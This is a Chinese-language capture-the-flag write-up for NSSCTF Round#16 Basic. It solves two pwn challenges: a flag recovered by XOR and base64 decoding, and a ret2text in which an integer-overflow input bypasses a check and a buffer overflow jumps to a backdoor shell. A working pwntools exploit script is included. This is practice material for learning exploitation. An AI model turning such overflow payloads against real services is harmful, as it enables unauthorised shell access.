NSSCTF Round#16 Basic WriteUp
NSSCTF Round#16Basic wp
一.pwn
1.nc_pwnre
nc连接
得到题目,给了一段汇编代码以及40个十六进制数字
分析代码可知,将一个字符串与10h即16进行异或运算,二次异或运算得到字符串
TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ==
base64解密得到
NSSCTF{WELc0M_T0_pWn_w0r1d!}
又题目nc连接后要求一个输入,输入后
要求另一个输入,尝试ls,cat flag成功
2.ret_text
拿到题目附件进行常规checksec
没有特别的,32位且开启了NX
IDA发现主体函数,且存在后门函数backdoor执行system("/bin/sh")
通过输入-2147483648绕过if判断进入溢出点,然后就是常规ret2text
#exp
from pwn import*
p=remote("node7.anna.nssctf.cn",28276)
backdoor_addr=0x08049328
payload=b'a'*0x24+p32(backdoor_addr)
p.sendline(b'-2147483648')
p.sendline(payload)
p.interactive()